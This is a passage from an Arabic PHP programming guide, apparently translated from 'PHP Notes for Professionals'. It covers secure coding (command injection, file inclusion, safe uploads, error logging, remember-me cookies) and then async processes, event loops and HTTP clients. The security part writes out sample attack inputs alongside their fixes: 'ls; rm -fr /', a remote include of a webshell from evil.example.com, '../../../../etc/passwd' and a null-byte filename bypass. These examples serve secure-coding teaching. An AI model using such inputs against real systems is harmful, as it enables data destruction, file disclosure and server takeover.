سينفذ خادم الويب الأمر: ls; rm -fr / ويحاول حذف كل الملفات من المجلد الجذر للخادم. الحل يجب أن تُهرَّب جميع وسائط الأمر باستخدام الدالة escapeshellarg()‎ أو escapeshellcmd()‎ مما يجعلها غير قابلة للتنفيذ كما يجب أن يتم التحقق من صحة كل قيمة مدخلة. في أبسط الحالات يمكننا تأمين مثالنا بالشكل التالي: <pre> <?php system('ls ' . escapeshellarg($_GET['path'])); ?> </pre> وفقًا للمثال السابق، مع محاولة حذف الملفات يصبح الأمر المنفّذ: ls '; rm -fr /' وتُمرَّر السلسلة النصية ببساطة كمعامل للأمر ls بدلًا من إنهاء هذا الأمر وتنفيذ الأمر rm. يجب الإشارة إلى أنّ المثال في الأعلى أصبح آمنًا الآن من هجوم حقن الأوامر لكن ليس من اجتياز traversal المجلد، ولإصلاح ذلك يجب التحقق من أنّ المسار الطبيعي يبدأ بالمجلد الفرعي المرغوب به. توفر PHP دوالًا متنوعة لتنفيذ أوامر النظام مثل كلّ من: exec. ‏passthru ‏proc_open ‏‏shell_exec system حيث يجب التحقق من صحة جميع مدخلاتها وتهريبها. إزالة الوسوم إنّ الدالة strip_tags دالة قوية جدًا إذا كنت تعرف كيفية استخدامها، وتوجد طرق أفضل لمنع هجمات البرمجة عبر المواقع مثل ترميز المحارف لكن إزالة الوسوم مفيدة في بعض الحالات. انظر المثال الأساسي التالي: $string = '<b>Hello,<> please remove the <> tags.</b>'; echo strip_tags($string); الخرج الخام الناتج: Hello, please remove the tags. بفرض أنك تريد السماح بوجود وسم معين، عندها يجب أن تحدد ذلك في المعامل الثاني للدالة، هذا المعامل اختياري، فمثلًا إذا أردت السماح بمرور الوسم <b> فقط. $string = '<b>Hello,<> please remove the <br> tags.</b>'; echo strip_tags($string, '<b>'); الخرج الخام للشيفرة السابقة: <b>Hello, please remove the tags.</b> ملاحظة: إنّ تعليقات HTML ووسوم PHP تُزال أيضًا وهذا لا يمكن تغييره، وفي الإصدار PHP 5.3.4 والإصدارات اللاحقة تُهمل وسوم XHTML ذاتية الإغلاق وتُستخدم فقط الوسوم غير ذاتية الإغلاق فمثلًا للسماح بالوسمين <br> و<br/> يجب أن تستخدم: <?php strip_tags($input, '<br>'); ?> إدراج ملف إدراج ملف بعيد يعد إدراج ملف بعيد RFI نوعًا من الثغرات التي تسمح للمهاجم بتضمين ملف بعيد، يحقن هذا المثال ملفًا مستضافًا عن بعد يتضمن شيفرة ضارة: <?php include $_GET['page']; /vulnerable.php?page=http://evil.example.com/webshell.txt? إدراج ملف محلي إدراج ملف محلي LFI في عملية تضمين الملفات على الخادم عبر متصفح الويب. <?php $page = 'pages/'.$_GET['page']; if(isset($page)) { include $page; } else { include 'index.php'; } /vulnerable.php?page=../../../../etc/passwd حل RFI وLFI يُنصح بالسماح بتضمين الملفات التي توافق عليها فقط. <?php $page = 'pages/'.$_GET['page'].'.php'; $allowed = ['pages/home.php','pages/error.php']; if(in_array($page,$allowed)) { include($page); } else { include('index.php'); } الإبلاغ عن الأخطاء تُظهر PHP افتراضيًا رسائل الخطأ والتحذيرات والملاحظات مباشرةً على الصفحة إذا حدث شيء ما غير متوقع في السكربت، وهذا مفيد لحل مشاكل معينة لكن في نفس الوقت يعرض معلومات لا تريد أن يعرفها المستخدمين، لذا يعد تجنب عرض هذه الرسائل التي تظهر معلومات خادمك مثل شجرة المجلدات في بيئة الإنتاج ممارسةً جيدة، أما في بيئة التطوير أو الاختبار فإنّ عرض هذه الرسائل يكون مفيدًا لتنقيح الأخطاء. حل سريع يمكنك إيقاف تشغيل عرض هذه الرسائل بشكلٍ كامل لكن هذا يجعل عملية تنقيح أخطاء السكربت أصعب. <?php ini_set("display_errors", "0"); ?> أو تغيير هذا مباشرةً في ملف php.ini: display_errors = 0 معالجة الأخطاء إن الخيار الأفضل دائمًا هو تخزين رسائل الخطأ هذه في مكان ما مثل قاعدة البيانات. set_error_handler(function($errno , $errstr, $errfile, $errline){ try{ $pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION ]); if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){ if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){ throw new Exception('Unable to execute query'); } } else { throw new Exception('Unable to prepare query'); } } catch (Exception $e){ error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr"); } }); ستسجل هذه الطريقة الرسائل في قاعدة البيانات وإذا فشلت في ذلك ستسجلها في ملف بدلًا من عرضها مباشرةً في الصفحة، وبذلك يمكنك تتبع ما يواجهه المستخدمون في موقعك وملاحظة وجود أي خطأ مباشرةً. رفع ملفات إذا أردت السماح للمستخدمين برفع ملفات إلى خادمك تحتاج إلى مضاعفة التحقق الأمني قبل أن ينتقل الملف المرفوع إلى الخادم مباشرةً. البيانات المرفوعة تحتوي هذه المصفوفة على بيانات مُرسلة من قبل مستخدم وهي ليست معلومات عن الملف، بينما يولّد المتصفح هذه البيانات يمكن للمستخدم إرسال طلب بالطريقة post إلى نفس النموذج باستخدام برنامج. $_FILES['file']['name']; $_FILES['file']['type']; $_FILES['file']['size']; $_FILES['file']['tmp_name']; name: تحقق منه بالكامل type: لا تستخدم هذه البيانات أبدًا، يمكن الحصول عليها باستخدام دوال PHP بدلًا من ذلك. size: آمن للاستخدام. tmp_name: آمن للاستخدام. استغلال اسم الملف لا يسمح نظام التشغيل بشكلٍ طبيعي بوجود محارف خاصة في اسم الملف، لكن يمكنك إضافتهم من خلال انتحال الطلب مما يسمح بحدوث أشياء غير متوقعة فمثلًا ليكن لدينا اسم الملف: ../script.php%00.png تفحّص اسم الملف ويجب أن تلاحظ أمرين: الأول هو أنّ وجود ‎../‎ غير منطقي أبدًا في اسم الملف، لكن في نفس الوقت جيد إذا كنت تنقل ملفًا من مجلد إلى آخر. قد تعتقد الآن أنك كنت تتحقق من امتدادات الملف بشكلٍ صحيح في السكربت، لكن يعتمد هذا الاستغلال على فك تشفير الرابط، إذ يترجم ‎%00‎ إلى المحرف null ويقول لنظام التشغيل أن السلسلة انتهت هنا مما يزيل ‎.png من اسم الملف. حمّلت الآن ملف script.php إلى مجلد آخر بتمرير عمليات تحقق بسيطة إلى امتدادات الملف وبتمرير ملفات ‎.htaccess‎ مما يمنع تنفيذ السكربتات من ضمن مجلدك المرفوع. الحصول على اسم الملف والامتداد بشكلٍ آمن يمكنك استخدام الدالة pathinfo()‎ لاستقراء الاسم والامتداد بطريقةٍ آمنة، لكننا نحتاج أولًا لاستبدال المحارف غير المرغوب بها في اسم الملف: // تتضمن هذه المصفوفة قائمة بالمحارف غير المسموح بها في اسم الملف $illegal = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?","*", " "]); $filename = str_replace($illegal, "-", $_FILES['file']['name']); $pathinfo = pathinfo($filename); $extension = $pathinfo['extension'] ? $pathinfo['extension']:''; $filename = $pathinfo['filename'] ? $pathinfo['filename']:''; if(!empty($extension) && !empty($filename)){ echo $filename, $extension; } else { die('file is missing an extension or name'); } لدينا الآن اسم الملف والامتداد ويمكننا استخدامهما للتخزين، لكن مازلت أفضل تخزين هذه المعلومات في قاعدة البيانات وإعطاء الملف اسمًا مولّدًا له مثل md5(uniqid().microtime())‎. +----+--------+-----------+------------+------+----------------------------------+---------------- -----+ | id | title | extension | mime | size | filename | time | +----+--------+-----------+------------+------+----------------------------------+---------------- -----+ | 1 | myfile | txt | text/plain | 1020 | 5bcdaeddbfbd2810fa1b6f3118804d66 | 2017-03-11 00:38:54 | +----+--------+-----------+------------+------+----------------------------------+---------------- -----+ سيحل هذا مشكلة أسماء الملفات المكررة وعمليات استغلال اسم الملف غير المتوقعة، وقد يتسبب ذلك أن يخمّن المهاجم مكان تخزين الملف بما أنه لا يمكن استهداف الملف بشكلٍ محدد. التحقق من نوع الوسائط mime-type التحقق من امتداد الملف لمعرفة ما هو نوع الملف غير كافٍ فقد يكون اسم الملف image.png لكنه يتضمن سكربت PHP، بالتحقق من نوع وسائط الملف المرفوع يمكنك التحقق من إذا كان الملف يتضمن ما يشير إليه اسمه أو لا. يمكنك الآن الذهاب إلى خطوة أبعد للتحقق من الصور، وهي فتحها: if($mime == 'image/jpeg' && $extension == 'jpeg' || $extension == 'jpg'){ if($img = imagecreatefromjpeg($filename)){ imagedestroy($img); } else { die('image failed to open, could be corrupt or the file contains something else.'); } } يمكنك الحصول على نوع الوسائط باستخدام دالة مدمجة أو صنف. وجود قائمة بيضاء للملفات المرفوعة الأهم من ذلك كله هو كتابة قائمة بيضاء تتضمن امتدادات الملفات وأنواع الوسائط بالاعتماد على كل نموذج. function isFiletypeAllowed($extension, $mime, array $allowed) { return isset($allowed[$mime]) && is_array($allowed[$mime]) && in_array($extension, $allowed[$mime]); } $allowedFiletypes = [ 'image/png' => [ 'png' ], 'image/gif' => [ 'gif' ], 'image/jpeg' => [ 'jpg', 'jpeg' ], ]; var_dump(isFiletypeAllowed('jpg', 'image/jpeg', $allowedFiletypes)); كتابة دالة تحافظ على تسجيل المستخدم بأفضل أسلوب تخزين ملف تعريف الارتباط في ثلاثة أجزاء. function onLogin($user) { // ‫توليد مفتاح، يجب أن يكون بين 128 - 256 بت $token = GenerateRandomToken(); storeTokenForUser($user, $token); $cookie = $user . ':' . $token; $mac = hash_hmac('sha256', $cookie, SECRET_KEY); $cookie .= ':' . $mac; setcookie('rememberme', $cookie); } وللتحقق: function rememberMe() { $cookie = isset($_COOKIE['rememberme']) ? $_COOKIE['rememberme'] : ''; if ($cookie) { list ($user, $token, $mac) = explode(':', $cookie); if (!hash_equals(hash_hmac('sha256', $user . ':' . $token, SECRET_KEY), $mac)) { return false; } $usertoken = fetchTokenByUserName($user); if (hash_equals($usertoken, $token)) { logUserIn($user); } } } ترجمة -وبتصرف- للفصول [Security - Secure Remeber Me] من كتاب PHP Notes for Professionals book
  8. وسوم PHP يجب أن تستخدم دائمًا الوسوم ‎<?php ?>‎ أو وسوم الطباعة القصيرة ‎<?= ?>‎، ويجب ألا تُستخدم الاختلافات الأخرى (خاصةً الوسوم القصيرة <? ?>) لأنّ مديري النظام يعطلونها عادةً. يجب تجاهل صيغة الإغلاق ‎?>‎ عندما لا نتوقع أن ينتج الملف خرجًا لتجنب الخرج غير المقصود الذي يمكن أن يسبب مشاكل عندما يحلل العميل الملف خاصةً أنّ بعض المتصفحات تفشل في التعرف على وسم ‎<!DOCTYPE وتنشّط نمط التجاوزات Quirks Mode. مثال عن سكربت PHP بسيط: <?php print "Hello World"; مثال عن ملف تعريف صنف: <?php class Foo { ... } مثال عن PHP مضمن في HTML: <ul id="nav"> <?php foreach ($navItems as $navItem): ?> <li><a href="<?= htmlspecialchars($navItem->url) ?>"> <?= htmlspecialchars($navItem->label) ?> </a></li> <?php endforeach; ?> </ul> فوائد المولّدات (Generators) تقدّم PHP 5.5 المولّدات والكلمة المفتاحية yield التي تسمح لنا بكتابة شيفرة غير متزامنة تبدو أشبه بالشيفرة المتزامنة، يعدّ التعبير yield مسؤولًا عن إعادة التحكم إلى الشيفرة المستدعاة وتوفير نقطة استئناف من هناك، يمكنك إرسال قيمة مع تعليمة yield، القيمة المرجعة من هذا التعبير إما null أو القيمة الممررة إلى Generator::send()‎. function reverse_range($i) { // ‫مجرد وجود الكلمة المفتاحية `yield` في هذه الدالة يجعلها مولّد do { // ‎$i‎ هي القيمة المُحتفظ بها بين الاستئنافات print yield $i; } while (--$i > 0); } $gen = reverse_range(5); print $gen->current(); // الإرسال أيضًا يستأنف المولِّد $gen->send("injected!"); foreach ($gen as $val) { // المرور على كامل محتويات المولّد مما يجعله يستأنف عند كل تكرار echo $val; } // 5injected!4321 يمكن استخدام هذه الآلية بتنفيذ نمط مشترك (coroutine) لانتظار كائنات Awaitable المُعادة من المولِّد (بتسجيل المولّد نفسه كرد نداء للحل) ومواصلة تنفيذ المولّد بمجرد إنهاء كائن Awaitable. استخدام حلقة حدث من مكتبة Icicle تستخدم مكتبة Icicle كائنات Awaitable ومولّدات لإنشاء نمط مشترك. require __DIR__ . '/vendor/autoload.php'; use Icicle\Awaitable; use Icicle\Coroutine\Coroutine; use Icicle\Loop; $generator = function (float $time) { try { // ‫ضبط المتغير ‎$start إلى القيمة المعادة من الدالة microtime()‎? بعد ‎$time ثانية تقريبًا $start = yield Awaitable\resolve(microtime(true))->delay($time); echo "Sleep time: ", microtime(true) - $start, "\n"; // ‫رمي استثناء من كائن Awaitable المرفوض إلى النمط المشترك return yield Awaitable\reject(new Exception('Rejected awaitable')); } catch (Throwable $e) { // ‫التقاط سبب رفض awaitable echo "Caught exception: ", $e->getMessage(), "\n"; } return yield Awaitable\resolve('Coroutine completed'); }; // يبقى النمط المشترك ساكنًا لمدة 1.2 ثانية ثم ينتهي معيدًا سلسلة نصية $coroutine = new Coroutine($generator(1.2)); $coroutine->done(function (string $data) { echo $data, "\n"; }); Loop\run(); إنتاج عمليات غير معطَّلة مع proc_open()‎ لا تدعم PHP تنفيذ الشيفرة بشكلٍ متزامن إلا إذا ثبَّت الإضافات مثل pthread، يمكن تجاوز هذا أحيانًا باستخدام الدوال proc_open()‎ وstream_set_blocking()‎­ وقراءة خرجهم بشكلٍ غير متزامن. يمكننا تنفيذ الشيفرة كعمليات فرعية متعددة إذا قسمناها إلى أجزاء أصغر، ثمّ يمكننا جعل كل عملية فرعية غير معطَّلة باستخدام دالة stream_set_blocking()‎ أي أنّه يمكننا إنتاج عدة عمليات فرعية ثم التحقق من خرجها في حلقة (بشكل مشابه لحلقة حدث) والانتظار حتى تنتهي جميعها. يمكن أن يكون لدينا مثلًا عملية فرعية صغيرة تنفّذ حلقة وتتوقف في كل تكرار بشكلٍ عشوائي لمدة 100- 1000 ميلي ثانية (لاحظ أنّ التأخير هو نفسه لكل عملية فرعية). <?php // subprocess.php $name = $argv[1]; $delay = rand(1, 10) * 100; printf("$name delay: ${delay}ms\n"); for ($i = 0; $i < 5; $i++) { usleep($delay * 1000); printf("$name: $i\n"); } ثم ستنتج العملية الرئيسية عمليات فرعية وتقرأ خرجها، ويمكننا تقسيمه إلى كتل أصغر: إنتاج عمليات فرعية باستخدام proc_open()‎. جعل كل عملية فرعية غير معطَّلة باستخدام stream_set_blocking()‎. تنفيذ حلقة حتى تنتهي كل العمليات الفرعية باستخدام proc_get_status()‎. إغلاق مقابض الملف بشكل صحيح مع أنبوب الخرج لكل عملية فرعية باستخدام fclose()‎ وإغلاق مقابض العملية باستخدام proc_close()‎. <?php // non-blocking-proc_open.php // واصفات الملف لكل عملية فرعية $descriptors = [ ᠎᠎0 => ['pipe', 'r'], // stdin 1 => ['pipe', 'w'], // stdout ]; $pipes = []; $processes = []; foreach (range(1, 3) as $i) { // إنتاج عملية فرعية $proc = proc_open('php subprocess.php proc' . $i, $descriptors, $procPipes); $processes[$i] = $proc; // جعل العملية الفرعية غير معطَّلة (أنبوب الخرج فقط) stream_set_blocking($procPipes[1], 0); $pipes[$i] = $procPipes; } // تنفيذ حلقة حتى تنتهي كل العمليات الفرعية while (array_filter($processes, function($proc) { return proc_get_status($proc)['running']; })) { foreach (range(1, 3) as $i) { usleep(10 * 1000); // 100ms // ‫قراءة كل الخرج الممكن (الخرج غير المقروء يُخزَّن مؤقتًا) $str = fread($pipes[$i][1], 1024); if ($str) { printf($str); } } } // إغلاق كل الأنابيب والعمليات foreach (range(1, 3) as $i) { fclose($pipes[$i][1]); proc_close($processes[$i]); } يحتوي الخرج على مزيج من العمليات الفرعية الثلاث بما أننا نقرأها باستخدام fread()‎، لاحظ أنّه في المثال انتهت العملية proc1 قبل العمليتين الباقيتين بكثير. $ php non-blocking-proc_open.php proc1 delay: 200ms proc2 delay: 1000ms proc3 delay: 800ms proc1: 0 proc1: 1 proc1: 2 proc1: 3 proc3: 0 proc1: 4 proc2: 0 proc3: 1 proc2: 1 proc3: 2 proc2: 2 proc3: 3 proc2: 3 proc3: 4 proc2: 4 قراءة منفذ تسلسلي مع إضافة حدث ودخل/خرج مباشر إنّ مجاري الدخل والخرج المباشرة (DIO) غير معروفة الآن من قِبل الإضافة حدث Event، فلا توجد طريقة نظيفة للحصول على واصف الملف مغلفًا ضمن موارد الدخل والخرج المباشرة، إلا أنّ هناك حل بديل: فتح مجرى للمنفذ باستخدام fopen()‎. جعل المجرى غير معطّل باستخدام stream_set_blocking();‎. الحصول على واصف ملف رقمي من المجرى باستخدام EventUtil::getSocketFd();‎. تمرير واصف الملف الرقمي إلى الدالة dio_fdopen()‎ والحصول على مورد دخل/خرج مباشر. إضافة حدث مع رد نداء للتنصت على الأحداث المقروءة على واصف الملف. تُصرَف البيانات المتاحة في رد النداء وتُعالج وفقًا لمنطق تطبيقك. الملف dio.php: <?php class Scanner { // ‫مسار المنفذ مثل ‎/dev/pts/5 protected $port; // واصف الملف الرقمي protected $fd; // EventBase protected $base; // مورد دخل/خرج مباشر protected $dio; // حدث protected $e_open; // حدث protected $e_read; public function __construct ($port) { $this->port = $port; $this->base = new EventBase(); } public function __destruct() { $this->base->exit(); if ($this->e_open) $this->e_open->free(); if ($this->e_read) $this->e_read->free(); if ($this->dio) dio_close($this->dio); } public function run() { $stream = fopen($this->port, 'rb'); stream_set_blocking($stream, false); $this->fd = EventUtil::getSocketFd($stream); if ($this->fd < 0) { fprintf(STDERR, "Failed attach to port, events: %d\n", $events); return; } $this->e_open = new Event($this->base, $this->fd, Event::WRITE, [$this, '_onOpen']); $this->e_open->add(); $this->base->dispatch(); fclose($stream); } public function _onOpen($fd, $events) { $this->e_open->del(); $this->dio = dio_fdopen($this->fd); // استدعاء دوال دخل/خرج مباشر هنا dio_tcsetattr($this->dio, [ 'baud' => 9600, 'bits' => 8, 'stop' => 1, 'parity' => 0 ]); $this->e_read = new Event($this->base, $this->fd, Event::READ | Event::PERSIST, [$this, '_onRead']); $this->e_read->add(); } public function _onRead($fd, $events) { while ($data = dio_read($this->dio, 1)) { var_dump($data); } } } // تغيير وسيط المنفذ $scanner = new Scanner('/dev/pts/5'); $scanner->run(); الاختبار: نفّذ التعليمة التالية في الطرفية A: $ socat -d -d pty,raw,echo=0 pty,raw,echo=0 2016/12/01 18:04:06 socat[16750] N PTY is /dev/pts/5 2016/12/01 18:04:06 socat[16750] N PTY is /dev/pts/8 2016/12/01 18:04:06 socat[16750] N starting data transfer loop with FDs [5,5] and [7,7] قد يختلف الخرج، استخدم الطرفيات الزائفة من أول سطرين (‎/dev/pts/5‎ و‎/dev/pts/8 بالتحديد). نفّذ في الطرفية B السكربت السابق، قد تحتاج إلى صلاحيات الجذر: $ sudo php dio.php أرسل من الطرفية C سلسلة نصية إلى الطرفية الزائفة الأولى: $ echo test > /dev/pts/8 الخرج: string(1) "t" string(1) "e" string(1) "s" string(1) "t" string(1) " " عميل HTTP بالاعتماد على الإضافة Event إليك مثال عن صنف عميل HTTP بالاعتماد على الإضافة Event، يسمح هذا الصنف بجدولة عدد من طلبات HTTP ثم تنفيذها بشكلٍ غير متزامن. ملف http-client.php: <?php class MyHttpClient { // ‫متغير من الصنف EventBase protected $base; // مصفوفة كائنات من الصنف EventHttpConnection protected $connections = []; public function __construct() { $this->base = new EventBase(); } // ‫دالة لإرسال كل الطلبات المعلقة (أحداث)، تُرجع void public function run() { $this->base->dispatch(); } public function __destruct() { // ‫تدمير كائنات الاتصال بشكلٍ صريح، لا تنتظر كانس المهملات (GC) وإلا قد يتحرر كائن EventBase باكرًا $this->connections = null; } // (1) public function addRequest($address, $port, array $headers, $cmd = EventHttpRequest::CMD_GET, $resource = '/'){ $conn = new EventHttpConnection($this->base, null, $address, $port); $conn->setTimeout(5); $req = new EventHttpRequest([$this, '_requestHandler'], $this->base); foreach ($headers as $k => $v) { $req->addHeader($k, $v, EventHttpRequest::OUTPUT_HEADER); } $req->addHeader('Host', $address, EventHttpRequest::OUTPUT_HEADER); $req->addHeader('Connection', 'close', EventHttpRequest::OUTPUT_HEADER); if ($conn->makeRequest($req, $cmd, $resource)) { $this->connections []= $conn; return $req; } return false; } // (2) public function _requestHandler($req, $unused) { if (is_null($req)) { echo "Timed out\n"; } else { $response_code = $req->getResponseCode(); if ($response_code == 0) { echo "Connection refused\n"; } elseif ($response_code != 200) { echo "Unexpected response: $response_code\n"; } else { echo "Success: $response_code\n"; $buf = $req->getInputBuffer(); echo "Body:\n"; while ($s = $buf->readLine(EventBuffer::EOL_ANY)) { echo $s, PHP_EOL; } } } } } $address = "my-host.local"; $port = 80; $headers = [ 'User-Agent' => 'My-User-Agent/1.0', ]; $client = new MyHttpClient(); // إضافة طلبات معلقة for ($i = 0; $i < 10; $i++) { $client->addRequest($address, $port, $headers, EventHttpRequest::CMD_GET, '/test.php?a=' . $i); } // إرسال طلبات معلقة $client->run(); في الموضع (1) نضيف طلب HTTP معلق، معاملاته هي: ‎$address: اسم المضيف أو IP، سلسلة نصية. ‎$port: رقم المنفذ، عدد صحيح. ‎$headers: ترويسات HTTP إضافية، مصفوفة. ‎$cmd: ثابت EventHttpRequest::CMD_*‎، عدد صحيح. ‎$resource: مورد طلب HTTP مثل '‎/page?a=b&c=d'، سلسلة نصية. القيمة المعادة إما EventHttpRequest أو false. في الموضع (2) نضيف دالة لمعالجة طلب HTTP، معاملاتها: ‎$req، كائن من الصنف EventHttpRequest. ‎$unused، خليط من المعاملات. تعيد هذه الدالة void. الملف test.php، مثال عن سكربت من جهة الخادم: <?php echo 'GET: ', var_export($_GET, true), PHP_EOL; echo 'User-Agent: ', $_SERVER['HTTP_USER_AGENT'] ?? '(none)', PHP_EOL; الاستخدام: php http-client.php مثال عن الخرج: Success: 200 Body: GET: array ( 'a' => '1', ) User-Agent: My-User-Agent/1.0 Success: 200 Body: GET: array ( 'a' => '0', ) User-Agent: My-User-Agent/1.0 Success: 200 Body: GET: array ( 'a' => '3', ) ... // الخرج مختصر لاحظ أنّ الشيفرة صُممت للمعالجة طويلة الأمد في CLI SAPI. عميل HTTP بالاعتماد على الإضافة Ev إليك مثال عن صنف عميل HTTP بالاعتماد على الإضافة Ev. تنفذ الإضافة Ev حدث حلقة بسيط لكن قوي للأغراض العامة، إنّها لا توفر مراقبين خاصين للشبكة لكن يمكن استخدام I/O watcher الخاص بالإضافة للمعالجة غير المتزامنة للمقابس. تظهر الشيفرة التالية كيف يمكن جدولة طلبات HTTP للمعالجة التفرعية. ملف http-client.php: <?php class MyHttpRequest { // ‫كائن من الصنف MyHttpClient private $http_client; // سلسلة نصية private $address; // ‫مورد HTTP من النوع سلسلة نصية مثل ‎/page?get=param private $resource; // ‫طريقة HTTP من النوع سلسلة نصية مثل GET، ‏POST private $method; // عدد صحيح private $service_port; // مقبس مورد private $socket; // مهلة الاتصال بالثانية من النوع عدد عشري private $timeout = 10.; // ‫حجم كل جزء للدالة socket_recv()‎ بالبايتات من النوع عدد صحيح private $chunk_size = 20; ?// ‫كائن من الصنف EvTimer private $timeout_watcher; // ‫كائن من الصنف EvIo private $write_watcher; // ‫كائن من الصنف EvIo private $read_watcher; // ‫كائن من الصنف EvTimer private $conn_watcher; // مخزن مؤقت للبيانات القادمة من النوع سلسلة نصية private $buffer; // الأخطاء التي أخبرت عنها إضافة المقابس في وضع عدم التعطيل من النوع مصفوفة private static $e_nonblocking = [ // ‫عُطِّلت العملية لكن وُضع واصف الملف في وضع عدم التعطيل (EAGAIN أو EWOULDBLOCK) 11, // ‫العملية الحالية قيد التقدم (EINPROGRESS) 115, ]; // (1) public function __construct(MyHttpClient $client, $host, $resource, $method) { $this->http_client = $client; $this->host = $host; $this->resource = $resource; $this->method = $method; // ‫الحصول على المنفذ من خدمة WWW $this->service_port = getservbyname('www', 'tcp'); // ‫الحصول على عنوان IP للمضيف الهدف $this->address = gethostbyname($this->host); // ‫إنشاء مقبس TCP/IP $this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!$this->socket) { throw new RuntimeException("socket_create() failed: reason: " . socket_strerror(socket_last_error())); } // ‫ضبط الراية O_NONBLOCK socket_set_nonblock($this->socket); $this->conn_watcher = $this->http_client->getLoop() ->timer(0, 0., [$this, 'connect']); } public function __destruct() { $this->close(); } private function freeWatcher(&$w) { if ($w) { $w->stop(); $w = null; } } // تحرير كل موارد الطلب private function close() { if ($this->socket) { socket_close($this->socket); $this->socket = null; } $this->freeWatcher($this->timeout_watcher); $this->freeWatcher($this->read_watcher); $this->freeWatcher($this->write_watcher); $this->freeWatcher($this->conn_watcher); } // دالة تهيئ اتصالًا بالمقبس وتعيد قيمة منطقية public function connect() { $loop = $this->http_client->getLoop(); $this->timeout_watcher = $loop->timer($this->timeout, 0., [$this, '_onTimeout']); $this->write_watcher = $loop->io($this->socket, Ev::WRITE, [$this, '_onWritable']); return socket_connect($this->socket, $this->address, $this->service_port); } // ‫رد نداء لمهلة المراقب (EvTimer) public function _onTimeout(EvTimer $w) { $w->stop(); $this->close(); } // رد نداء يُستدعى عندما يصبح المقبس قابلًا للكتابة public function _onWritable(EvIo $w) { $this->timeout_watcher->stop(); $w->stop(); $in = implode("\r\n", [ "{$this->method} {$this->resource} HTTP/1.1", "Host: {$this->host}", 'Connection: Close', ]) . "\r\n\r\n"; if (!socket_write($this->socket, $in, strlen($in))) { trigger_error("Failed writing $in to socket", E_USER_ERROR); return; } $loop = $this->http_client->getLoop(); $this->read_watcher = $loop->io($this->socket, Ev::READ, [$this, '_onReadable']); // الاستمرار بتنفيذ الحلقة $loop->run(); } // رد نداء يُستدعى عندما يصبح المقبس قابلًا للقراءة public function _onReadable(EvIo $w) { // استقبال 20 بايت في وضع عدم التعطيل $ret = socket_recv($this->socket, $out, 20, MSG_DONTWAIT); if ($ret) { // إذا كان لا يزال هناك بيانات للقراءة، أضفها إلى المخزن المؤقت $this->buffer .= $out; } elseif ($ret === 0) { // إذا قُرِأت كل البيانات printf("\n<<<<\n%s\n>>>>", rtrim($this->buffer)); fflush(STDOUT); $w->stop(); $this->close(); return; } // ‫التقاط EINPROGRESS، ‏EAGAIN أو EWOULDBLOCK if (in_array(socket_last_error(), static::$e_nonblocking)) { return; } $w->stop(); $this->close(); } } ///////////////////////////////////// class MyHttpClient { // ‫مصفوفة كائنات من الصنف MyHttpRequest private $requests = []; ?// ‫متغير من الصنف EvLoop private $loop; public function __construct() { // ‫ينفذ كل عميل HTTP حلقة حدث خاصة به $this->loop = new EvLoop(); } public function __destruct() { $this->loop->stop(); } // ‫تعيد هذه الدالة كائن EvLoop public function getLoop() { return $this->loop; } // إضافة طلبات معلقة public function addRequest(MyHttpRequest $r) { $this->requests []= $r; } // إرسال كل الطلبات المعلقة public function run() { $this->loop->run(); } } //// الاستخدام $client = new MyHttpClient(); foreach (range(1, 10) as $i) { $client->addRequest(new MyHttpRequest($client, 'my-host.local', '/test.php?a=' . $i, 'GET')); } $client->run(); في الموضع (1) معاملات الدالة هي: ‎$client من الصنف MyHttpClient. ‎$host اسم المضيف مثل google.co.uk، سلسلة نصية ‎$resource مورد HTTP مثل ‎/page?a=b&c=d، سلسلة نصية. ‎$method طريقة HTTP مثل: GET، ‏HEAD، ‏POST، ‏PUT…، سلسلة نصية. ترمي هذه الدالة الاستثناء RuntimeException. الاختبار: بفرض أنّ سكربت http://my-host.local/test.php يطبع محتويات ‎$_GET: <?php echo 'GET: ', var_export($_GET, true), PHP_EOL; سيكون عندها خرج الأمر php http-client.php مشابهًا للتالي: <<<< HTTP/1.1 200 OK Server: nginx/1.10.1 Date: Fri, 02 Dec 2016 12:39:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.0.13-pl0-gentoo 1d GET: array ( 'a' => '3', ) 0 >>>> <<<< HTTP/1.1 200 OK Server: nginx/1.10.1 Date: Fri, 02 Dec 2016 12:39:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.0.13-pl0-gentoo 1d GET: array ( 'a' => '2', ) 0 >>>> ... // الخرج مختصر لاحظ أنّ إضافة المقابس في PHP 5 قد تسجل تحذيرات لقيم الخطأ EINPROGRESS وEAGAIN وEWOULDBLOCK، من الممكن تعطيل هذه التسجيلات بكتابة الشيفرة: error_reporting(E_ERROR); استخدام حلقة الحدث Amp تستفاد مكتبة العمل Amp من الوعود (اسم آخر لكائنات Awaitables) والمولِّدات لإنشاء نمط مشترك. require __DIR__ . '/vendor/autoload.php'; use Amp\Dns; // جرب الأسرع محللنا المعرّف من قِبل النظام أو غوغل function queryStackOverflow($recordtype) { $requests = [ Dns\query("stackoverflow.com", $recordtype), Dns\query("stackoverflow.com", $recordtype, ["server" => "8.8.8.8"]), ]; // تعيد وعدًا ينتهي عندما ينتهي أول طلب return yield Amp\first($request); } \Amp\run(function() { // الحلقة الأساسية، نمط مشترك ضمنيًا try { // التحويل إلى نمط مشترك باستخدام Amp\resolve()‎ $promise = Amp\resolve(queryStackOverflow(Dns\Record::NS)); list($ns, $type, $ttl) = // ‫نحتاج إلى نتيجة NS واحدة وليس كل النتائج current(yield Amp\timeout($promise, 2000 /* milliseconds */)); echo "The result of the fastest server to reply to our query was $ns"; } catch (Amp\TimeoutException $e) { echo "We've heard no answer for 2 seconds! Bye!"; } catch (Dns\NoRecordException $e) { echo "No NS records there? Stupid DNS nameserver!"; } }); التوطين (Localization) توطين السلاسل النصية مع gettext()‎ gettext من مكتبة GNU هي إضافة PHP يجب تضمصينها ضمن ملف php.ini: extension=php_gettext.dll #Windows extension=gettext.so #Linux تنفذ دوال gettext واجهة برمجة تطبيقات دعم اللغة الأصلية (NLS) والتي يمكن استخدامها لتوطين تطبيقات PHP. يمكن إجراء السلاسل النصية للترجمة في PHP بضبط المحلية 